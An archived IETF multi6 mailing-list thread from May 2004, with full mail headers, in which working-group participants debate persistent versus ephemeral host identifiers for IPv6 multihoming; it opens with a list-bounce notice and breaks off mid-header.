Hash: SHA1



The following users have been bouncing long enough that I will 
desubscribe them tomorrow :

<koji@ryefield.net>: user is over quota
   lidefeng@huawei.com
     (generated from multi6-data@psg.com)
     SMTP error from remote mailer after RCPT TO:<lidefeng@huawei.com>:
     host mail.huawei.com [61.144.161.19]: 550 5.1.1 unknown or illegal 
alias:
     lidefeng@huawei.com
   akira@ttnet.ad.jp
     (generated from multi6-data@psg.com)
     Unrouteable address
   dkomata@ttnet.ad.jp
     (generated from multi6-data@psg.com)
     Unrouteable address


- - kurtis -

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0.3

iQA/AwUBQJpHpKarNKXTPFCVEQL+ZgCfX1lnltGLu1poY3nm1jTuDvWqPf8AoOEt
BX3xPsqOpXSf9qxujjSsbRqU
=Q8BJ
-----END PGP SIGNATURE-----




From owner-multi6@ops.ietf.org  Thu May  6 11:08:23 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19047
	for <multi6-archive@lists.ietf.org>; Thu, 6 May 2004 11:08:22 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLkSl-000HVB-FD
	for multi6-data@psg.com; Thu, 06 May 2004 15:07:03 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLkSj-000HUj-Pr
	for multi6@ops.ietf.org; Thu, 06 May 2004 15:07:01 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i46F6p1C098248
	for <multi6@ops.ietf.org>; Thu, 6 May 2004 17:06:51 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
Mime-Version: 1.0 (Apple Message framework v613)
Content-Transfer-Encoding: 7bit
Message-Id: <069E5E52-9F6F-11D8-BE01-000A95CD987A@muada.com>
Content-Type: text/plain; charset=US-ASCII; format=flowed
To: Multi6 List <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Persistent or opportunistic IDs
Date: Thu, 6 May 2004 17:07:00 +0200
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Yesterday at the RIPE meeting Geoff talked about the difference between 
doing address agility using long-lived identifiers vs pragmatic, 
short-lived identifiers. This is indeed a useful way to classify multi6 
solutions. Pragmatic identifiers would generally be regular (locator) 
IP address. However, selecting such a pragmatic approach doesn't 
necessarily close the door on persistent identifiers, as it's possible 
to "hide" such a persistent identifier in the lower 64 bits of a PA 
IPv6 address. This is basically what I propose in my crypto-based host 
identifier draft.

Two questions:

- do we agree that going the pragmatic route first and adding 
persistent identifiers later is indeed possible?
- if this is the case, does this mean such is also the preferable way 
forward?




From owner-multi6@ops.ietf.org  Thu May  6 11:28:36 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20125
	for <multi6-archive@lists.ietf.org>; Thu, 6 May 2004 11:28:35 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLknP-000LNX-Tq
	for multi6-data@psg.com; Thu, 06 May 2004 15:28:23 +0000
Received: from [195.212.29.152] (helo=mtagate3.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLknN-000LN1-VL
	for multi6@ops.ietf.org; Thu, 06 May 2004 15:28:22 +0000
Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1])
	by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i46FSIn5085134
	for <multi6@ops.ietf.org>; Thu, 6 May 2004 15:28:19 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i46FSIlW027768
	for <multi6@ops.ietf.org>; Thu, 6 May 2004 17:28:18 +0200
Received: from zurich.ibm.com (dyn-9-13-126-72.ge.ch.ibm.com [9.13.126.72])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id RAA38562
	for <multi6@ops.ietf.org>; Thu, 6 May 2004 17:28:18 +0200
Message-ID: <409A599C.7000802@zurich.ibm.com>
Date: Thu, 06 May 2004 17:28:28 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: multi6 <multi6@ops.ietf.org>
Subject: Re: Persistent or opportunistic IDs
References: <069E5E52-9F6F-11D8-BE01-000A95CD987A@muada.com>
In-Reply-To: <069E5E52-9F6F-11D8-BE01-000A95CD987A@muada.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Iljitsch van Beijnum wrote:
> Yesterday at the RIPE meeting Geoff talked about the difference between 
> doing address agility using long-lived identifiers vs pragmatic, 
> short-lived identifiers. This is indeed a useful way to classify multi6 
> solutions. Pragmatic identifiers would generally be regular (locator) IP 
> address. However, selecting such a pragmatic approach doesn't 
> necessarily close the door on persistent identifiers, as it's possible 
> to "hide" such a persistent identifier in the lower 64 bits of a PA IPv6 
> address. This is basically what I propose in my crypto-based host 
> identifier draft.
> 
> Two questions:
> 
> - do we agree that going the pragmatic route first and adding persistent 
> identifiers later is indeed possible?

We need a proof-of-concept proposal before we can agree or disagree.
I'm not sure your draft really provides that. NOID for example is a
proof of concept for the pure pragmatic scenario.

> - if this is the case, does this mean such is also the preferable way 
> forward?

Too soon for that question. We need an agreed architectural analysis...

    Brian




From owner-multi6@ops.ietf.org  Thu May  6 11:45:51 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21571
	for <multi6-archive@lists.ietf.org>; Thu, 6 May 2004 11:45:50 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLl40-000Pbq-51
	for multi6-data@psg.com; Thu, 06 May 2004 15:45:32 +0000
Received: from [83.149.65.1] (helo=sequoia.muada.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLl3z-000PbL-2L
	for multi6@ops.ietf.org; Thu, 06 May 2004 15:45:31 +0000
Received: from [127.0.0.1] (sequoia.muada.com [83.149.65.1])
	by sequoia.muada.com (8.12.10/8.12.10) with ESMTP id i46FjL1C098960;
	Thu, 6 May 2004 17:45:21 +0200 (CEST)
	(envelope-from iljitsch@muada.com)
In-Reply-To: <409A599C.7000802@zurich.ibm.com>
References: <069E5E52-9F6F-11D8-BE01-000A95CD987A@muada.com> <409A599C.7000802@zurich.ibm.com>
Mime-Version: 1.0 (Apple Message framework v613)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <674854CB-9F74-11D8-BE01-000A95CD987A@muada.com>
Content-Transfer-Encoding: 7bit
Cc: multi6 <multi6@ops.ietf.org>
From: Iljitsch van Beijnum <iljitsch@muada.com>
Subject: Re: Persistent or opportunistic IDs
Date: Thu, 6 May 2004 17:45:30 +0200
To: Brian E Carpenter <brc@zurich.ibm.com>
X-Mailer: Apple Mail (2.613)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

On 6-mei-04, at 17:28, Brian E Carpenter wrote:

>> - do we agree that going the pragmatic route first and adding 
>> persistent identifiers later is indeed possible?

> We need a proof-of-concept proposal before we can agree or disagree.
> I'm not sure your draft really provides that. NOID for example is a
> proof of concept for the pure pragmatic scenario.

What would need to be part of such a proof of concept draft?

As the drafts I've written so far aren't intended to become RFCs 
anyway, I try to be as concise as possible, maybe overdoing it 
slightly...

But are there any "oldfashioned" id/loc approaches still on the table 
anyway?




From owner-multi6@ops.ietf.org  Thu May  6 12:08:34 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA24006
	for <multi6-archive@lists.ietf.org>; Thu, 6 May 2004 12:08:34 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLlP8-0005G9-Ph
	for multi6-data@psg.com; Thu, 06 May 2004 16:07:22 +0000
Received: from [163.117.136.123] (helo=smtp03.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLlP7-0005Fh-4V
	for multi6@ops.ietf.org; Thu, 06 May 2004 16:07:21 +0000
Received: from smtp03.uc3m.es (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with ESMTP
	id 2ACDB27A96; Thu,  6 May 2004 18:07:20 +0200 (CEST)
Received: from lolo (lolo.it.uc3m.es [163.117.139.58])
	by smtp03.uc3m.es (Postfix) with SMTP
	id 1435827A0D; Thu,  6 May 2004 18:07:20 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Iljitsch van Beijnum" <iljitsch@muada.com>,
        "Multi6 List" <multi6@ops.ietf.org>
Subject: RE: Persistent or opportunistic IDs
Date: Thu, 6 May 2004 18:03:26 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPAIENIEAAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <069E5E52-9F6F-11D8-BE01-000A95CD987A@muada.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Iljitsch,

> De: owner-multi6@ops.ietf.org [mailto:owner-multi6@ops.ietf.org]En
> nombre de Iljitsch van Beijnum
>
> Yesterday at the RIPE meeting Geoff talked about the difference between
> doing address agility using long-lived identifiers vs pragmatic,
> short-lived identifiers. This is indeed a useful way to classify multi6
> solutions. Pragmatic identifiers would generally be regular (locator)
> IP address.

I am not sure i understand this clasification.
Why do you consider that pragmatic identifiers - locators are short lived
when they are used as identifiers? I mean, i consider that the HoA is a
stable identifier of the mobile node, but it is short lived as a locator.

I think i can see the difference between a stable identifier and an
ephemeral identifier, such as the ones used in WIMP, and i think that this
is usefull distinction.

Regards, marcelo


> However, selecting such a pragmatic approach doesn't
> necessarily close the door on persistent identifiers, as it's possible
> to "hide" such a persistent identifier in the lower 64 bits of a PA
> IPv6 address. This is basically what I propose in my crypto-based host
> identifier draft.
>
> Two questions:
>
> - do we agree that going the pragmatic route first and adding
> persistent identifiers later is indeed possible?
> - if this is the case, does this mean such is also the preferable way
> forward?
>
>




From owner-multi6@ops.ietf.org  Thu May  6 17:49:47 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21664
	for <multi6-archive@lists.ietf.org>; Thu, 6 May 2004 17:49:46 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BLqjr-000KEH-Ii
	for multi6-data@psg.com; Thu, 06 May 2004 21:49:07 +0000
Received: from [192.18.42.14] (helo=nwkea-mail-2.sun.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BLqjq-000KDw-MW
	for multi6@ops.ietf.org; Thu, 06 May 2004 21:49:06 +0000
Received: from bebop.France.Sun.COM ([129.157.174.15])
	by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id i46Lmtms010139;
	Thu, 6 May 2004 14:48:55 -0700 (PDT)
Received: from blixten (punchin-nordmark.SFBay.Sun.COM [192.9.61.11])
	by bebop.France.Sun.COM (8.11.7p1+Sun/8.10.2/ENSMAIL,v2.2) with SMTP id i46LmrQ19789;
	Thu, 6 May 2004 23:48:53 +0200 (MEST)
Date: Thu, 6 May 2004 14:48:56 -0700 (PDT)
From: Erik Nordmark <Erik.Nordmark@sun.com>
Reply-To: Erik Nordmark <Erik.Nordmark@sun.com>
Subject: Re: Persistent or opportunistic IDs
To: Iljitsch van Beijnum <iljitsch@muada.com>
Cc: Multi6 List <multi6@ops.ietf.org>
In-Reply-To: "Your message with ID" <069E5E52-9F6F-11D8-BE01-000A95CD987A@muada.com>
Message-ID: <Roam.SIMC.2.0.6.1083880136.22086.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

> - do we agree that going the pragmatic route first and adding 
> persistent identifiers later is indeed possible?

If we are assuming that the persistent identifiers provide a superset
of the functionality/semantics prociuded by the short-lived identifiers,
then taking the step should be easy; the question is what benefit
one would derive, if any, (and at what cost) from taking the step to
the persistent identifiers.

As one example, I think that multihoming with short-lived identifiers
implies a change to the applications that do referrals and/or callbacks
(depending on the actual multi6 approach they might need to change to
pass FQDNs, locator lists, or something else where they today
might pass a single IP address). Thus they need some change.

Will moving from short-lived identifiers to persistent identifiers
imply another change to that class of applications?
[This is just an example; I don't expect anybody to answer this particular
question at this point in time.]

Thus I do think we'd need to understand more details about such a transition
(or probably, coexistence) between different classes of identifiers
before being able to guage the cost/benefit tradeoffs.

  Erik




From owner-multi6@ops.ietf.org  Fri May  7 04:07:04 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA06341
	for <multi6-archive@lists.ietf.org>; Fri, 7 May 2004 04:07:04 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BM0N1-000MoS-Dw
	for multi6-data@psg.com; Fri, 07 May 2004 08:06:11 +0000
Received: from [203.50.0.6] (helo=kahuna.telstra.net)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BM0Mx-000MoA-MN
	for multi6@ops.ietf.org; Fri, 07 May 2004 08:06:07 +0000
Received: from gihz1.telstra.net (kahuna.telstra.net [203.50.0.6])
	by kahuna.telstra.net (8.12.3/8.11.3) with ESMTP id i4785hG5009775;
	Fri, 7 May 2004 18:05:46 +1000 (EST)
	(envelope-from gih@telstra.net)
Message-Id: <6.0.1.1.2.20040507175108.0203dae0@localhost>
X-Sender: gih@localhost
X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1
Date: Fri, 07 May 2004 18:05:47 +1000
To: <mbagnulo@ing.uc3m.es>, "Iljitsch van Beijnum" <iljitsch@muada.com>,
        "Multi6 List" <multi6@ops.ietf.org>
From: Geoff Huston <gih@telstra.net>
Subject: RE: Persistent or opportunistic IDs
In-Reply-To: <LIEEJBCNFDJHFFKJJDPAIENIEAAA.mbagnulo@ing.uc3m.es>
References: <069E5E52-9F6F-11D8-BE01-000A95CD987A@muada.com>
 <LIEEJBCNFDJHFFKJJDPAIENIEAAA.mbagnulo@ing.uc3m.es>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.7 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

At 02:03 AM 7/05/2004, marcelo bagnulo wrote:
>Hi Iljitsch,
>
> > De: owner-multi6@ops.ietf.org [mailto:owner-multi6@ops.ietf.org]En
> > nombre de Iljitsch van Beijnum
> >
> > Yesterday at the RIPE meeting Geoff talked about the difference between
> > doing address agility using long-lived identifiers vs pragmatic,
> > short-lived identifiers. This is indeed a useful way to classify multi6
> > solutions. Pragmatic identifiers would generally be regular (locator)
> > IP address.
>
>I am not sure i understand this clasification.
>Why do you consider that pragmatic identifiers - locators are short lived
>when they are used as identifiers? I mean, i consider that the HoA is a
>stable identifier of the mobile node, but it is short lived as a locator.
>
>I think i can see the difference between a stable identifier and an
>ephemeral identifier, such as the ones used in WIMP, and i think that this
>is usefull distinction.

My comments in the RIPE meeting were drawn from the text I used
in Section 4.7 of draft-huston-multi6-architectures-00.txt, In particular
the last paragraph of that section.

I was struck by the difference between 'absolute' uniqueness (and the 
implication
that when you have such absolute uniqueness you also can support persistence
and reference and resolution) and relative uniqueness (where the identity
uniqueness is constrained temporally to the lifetime of a session (olr group
of sessions) and constrained in terms of a spatial realm, where the possibility
of identity collision  is admitted in a broader context). This 
classification also
has some implications regarding the cost of uniqueness and the relative level
of overhead in managing a long-lived unique token space and opportunistic 
(probably
self-generated) identity token values.

I'm not sure I'm truly in a position to offer comment from my perspective 
as to which is
'better' than the other - there are aspects of value in persistence, 
resolveability and
referential capability in structured unique identity spaces, and there are 
aspects of
value in terms of overhead and efficiency in terms of protocol behaviour
and dependencies as well as reduced dependence on infrastructure activities 
that
paint a value picture for opportunistic identity spaces.

My suspicion that we will need to come to some closure at some point as to
where the ideal point might lie in the context of multi6, and in the 
context of
an evolving IPv6 architecture, but its way to early to call the
question -- in my view. At this stage its still the careful work of 
attempting to
assemble useful characteristics here, so the essential question I have, as 
the draft
author, is where the draft needs further (or less) consideration and text.

thanks,

    Geoff






From owner-multi6@ops.ietf.org  Fri May  7 05:11:34 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA09744
	for <multi6-archive@lists.ietf.org>; Fri, 7 May 2004 05:11:34 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BM1N6-000ATZ-O2
	for multi6-data@psg.com; Fri, 07 May 2004 09:10:20 +0000
Received: from [195.212.29.152] (helo=mtagate3.de.ibm.com)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BM1N4-000ASo-WC
	for multi6@ops.ietf.org; Fri, 07 May 2004 09:10:19 +0000
Received: from d12nrmr1507.megacenter.de.ibm.com (d12nrmr1507.megacenter.de.ibm.com [9.149.167.1])
	by mtagate3.de.ibm.com (8.12.10/8.12.10) with ESMTP id i479ABn5068674;
	Fri, 7 May 2004 09:10:11 GMT
Received: from sihl.zurich.ibm.com (sihl.zurich.ibm.com [9.4.16.232])
	by d12nrmr1507.megacenter.de.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i479ABX6276946;
	Fri, 7 May 2004 11:10:11 +0200
Received: from zurich.ibm.com (dhcp222-122.zurich.ibm.com [9.4.222.122])
	by sihl.zurich.ibm.com (AIX4.3/8.9.3p2/8.9.3) with ESMTP id LAA35132;
	Fri, 7 May 2004 11:10:10 +0200
Message-ID: <409B32B7.5050607@zurich.ibm.com>
Date: Fri, 07 May 2004 08:54:47 +0200
From: Brian E Carpenter <brc@zurich.ibm.com>
Organization: IBM
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en, fr, de
MIME-Version: 1.0
To: Iljitsch van Beijnum <iljitsch@muada.com>
CC: multi6 <multi6@ops.ietf.org>
Subject: Re: Persistent or opportunistic IDs
References: <069E5E52-9F6F-11D8-BE01-000A95CD987A@muada.com> <409A599C.7000802@zurich.ibm.com> <674854CB-9F74-11D8-BE01-000A95CD987A@muada.com>
In-Reply-To: <674854CB-9F74-11D8-BE01-000A95CD987A@muada.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Iljitsch van Beijnum wrote:
> On 6-mei-04, at 17:28, Brian E Carpenter wrote:
> 
>>> - do we agree that going the pragmatic route first and adding 
>>> persistent identifiers later is indeed possible?
> 
> 
>> We need a proof-of-concept proposal before we can agree or disagree.
>> I'm not sure your draft really provides that. NOID for example is a
>> proof of concept for the pure pragmatic scenario.
> 
> 
> What would need to be part of such a proof of concept draft?
> 
> As the drafts I've written so far aren't intended to become RFCs anyway, 
> I try to be as concise as possible, maybe overdoing it slightly...

I take NOID as an example because when I read it, I felt "ah, yes,
there are some details to fill in, but the basic operating principles
are clear."  An author can't assume that what is obvious to her or him
is obvious to everyone else.

> But are there any "oldfashioned" id/loc approaches still on the table 
> anyway?

I'm not sure what you mean by "old fashioned" but (chair hat defintely on)
everything is on the table until the architectural analysis has reached
consensus.

     Brian




From owner-multi6@ops.ietf.org  Fri May  7 12:03:47 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02790
	for <multi6-archive@lists.ietf.org>; Fri, 7 May 2004 12:03:44 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BM7mB-000HPV-9y
	for multi6-data@psg.com; Fri, 07 May 2004 16:00:39 +0000
Received: from [163.117.136.123] (helo=smtp03.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BM7m8-000HP0-Tz
	for multi6@ops.ietf.org; Fri, 07 May 2004 16:00:37 +0000
Received: from localhost (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with SMTP
	id C1ACB28A64; Fri,  7 May 2004 18:00:35 +0200 (CEST)
Received: from lolo (lolo.it.uc3m.es [163.117.139.58])
	by smtp03.uc3m.es (Postfix) with SMTP
	id 6A9F628CE2; Fri,  7 May 2004 18:00:32 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Geoff Huston" <gih@telstra.net>, <mbagnulo@ing.uc3m.es>,
        "Iljitsch van Beijnum" <iljitsch@muada.com>,
        "Multi6 List" <multi6@ops.ietf.org>
Subject: RE: Persistent or opportunistic IDs
Date: Fri, 7 May 2004 17:56:32 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPACEOJEAAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <6.0.1.1.2.20040507175108.0203dae0@localhost>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi Geoff,

thanks for the clarification.
some comments below...


> My comments in the RIPE meeting were drawn from the text I used
> in Section 4.7 of draft-huston-multi6-architectures-00.txt, In particular
> the last paragraph of that section.
>
> I was struck by the difference between 'absolute' uniqueness (and the
> implication
> that when you have such absolute uniqueness you also can support
> persistence
> and reference and resolution) and relative uniqueness (where the identity
> uniqueness is constrained temporally to the lifetime of a session
> (olr group
> of sessions) and constrained in terms of a spatial realm, where
> the possibility
> of identity collision  is admitted in a broader context). This
> classification also
> has some implications regarding the cost of uniqueness and the
> relative level
> of overhead in managing a long-lived unique token space and opportunistic
> (probably
> self-generated) identity token values.
>
> I'm not sure I'm truly in a position to offer comment from my perspective
> as to which is
> 'better' than the other - there are aspects of value in persistence,
> resolveability and
> referential capability in structured unique identity spaces, and
> there are
> aspects of
> value in terms of overhead and efficiency in terms of protocol behaviour
> and dependencies as well as reduced dependence on infrastructure
> activities
> that
> paint a value picture for opportunistic identity spaces.

Ok. In previous discussions i think we use to use the terms ephemeral
identifiers versus stable identifiers to make that distinction.
Most of the proposals use some sort of stable identifiers that can be placed
in the DNS or some other directory.
I guess that one of the difficulties when using ephemeral identifiers is
that since they are ephemeral by nature, the initiating host does not know
the identifier of the other end a priori, so how do the apps use to initiate
the communication?
I mean, suppose that an app wants to communicate with another node, so it
decides to start a communication. If stable identifiers are available, the
app will open a socket (or equivalent) with the stable identifier and
somewhere lower in the stack a conversion from identifier to locator is
done.
However, if ephemeral identifiers are used, the initiating node does not
know which is the identifier to be used until the other node is contacted.
This means, that for instance, when the app asks the resolver for a FQDN,
the resolver would need to contact the other end, negotiate an ephemeral
identifier and the present it to the application, so it can start the
communication. This is indeed more complex than using stable identifiers.
However, the cool thing about ephemeral identifiers IMHO, is that you don't
have to protect them so much as you do with stable identifiers. I mean, if a
ephemeral identifier is stolen, it will only affect a limited group of
communications of that host. OTOH if a stable identifier is stolen, the
complete identity of the host is stolen. So a solution with ephemeral
identifiers probably will require less security measures than one with
stable identifiers, perhaps something like return routability would be
enough for ephemeral ids?
In any case, i am not aware of any proposal that explain in detail how
ephemeral identifiers could be used, so I guess that Brian comments apply
also here, we would need a proof of concept for this too.

An interesting middle ground is provided by WIMP, because if i understand
correctly, they use a stable identifier of the target host (the hash of the
FQDN) but they use an ephemeral identifier for the initiating host. In this
case the endpoint has multiple ephemeral identifiers and a well known stable
identifier for incoming communications.


>
> My suspicion that we will need to come to some closure at some point as to
> where the ideal point might lie in the context of multi6, and in the
> context of
> an evolving IPv6 architecture, but its way to early to call the
> question -- in my view. At this stage its still the careful work of
> attempting to
> assemble useful characteristics here, so the essential question I
> have, as
> the draft
> author, is where the draft needs further (or less) consideration and text.

I guess that this depends on how much do you want to include about security
considerations in this draft. I mean, there is no mention to crypto based
identifiers in the draft, which is an important identifier name space. But,
if you include this you probably will have to mention something about
security, i guess.
The same goes for security implications of using ephemeral identifiers, as
IMHO one of the benefits of using ephemeral ids is about security, as
described above.

Regards, marcelo

>
> thanks,
>
>     Geoff
>
>
>
>





From owner-multi6@ops.ietf.org  Fri May  7 12:08:50 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA02971
	for <multi6-archive@lists.ietf.org>; Fri, 7 May 2004 12:08:48 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BM7tk-000KOV-Nd
	for multi6-data@psg.com; Fri, 07 May 2004 16:08:28 +0000
Received: from [163.117.136.123] (helo=smtp03.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BM7tj-000KOG-Q0
	for multi6@ops.ietf.org; Fri, 07 May 2004 16:08:27 +0000
Received: from smtp03.uc3m.es (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with ESMTP
	id EC41728D20; Fri,  7 May 2004 18:08:26 +0200 (CEST)
Received: from lolo (lolo.it.uc3m.es [163.117.139.58])
	by smtp03.uc3m.es (Postfix) with SMTP
	id D5B6128D14; Fri,  7 May 2004 18:08:26 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Erik Nordmark" <Erik.Nordmark@sun.com>,
        "Iljitsch van Beijnum" <iljitsch@muada.com>
Cc: "Multi6 List" <multi6@ops.ietf.org>
Subject: RE: Persistent or opportunistic IDs
Date: Fri, 7 May 2004 18:04:26 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPAIEOJEAAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <Roam.SIMC.2.0.6.1083880136.22086.nordmark@bebop.france>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

> Thus I do think we'd need to understand more details about such a
> transition
> (or probably, coexistence) between different classes of identifiers
> before being able to guage the cost/benefit tradeoffs.

Yes, and additionally, i guess we have to understand why, if the stable
identifiers are the long term goal, are we adopting the transition solution
in the first place.
I mean, any solution will imply the modification of all the hosts, so why is
that an intermediate solution is adopted instead of the definitive one?
(this was a very good point mentioned by Iljitsch a while ago)
So, perhaps the case for an intermediate solution exists but i guess it
still not clear yet.

Regards, marcelo

>
>   Erik
>
>




From owner-multi6@ops.ietf.org  Fri May  7 13:08:58 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06067
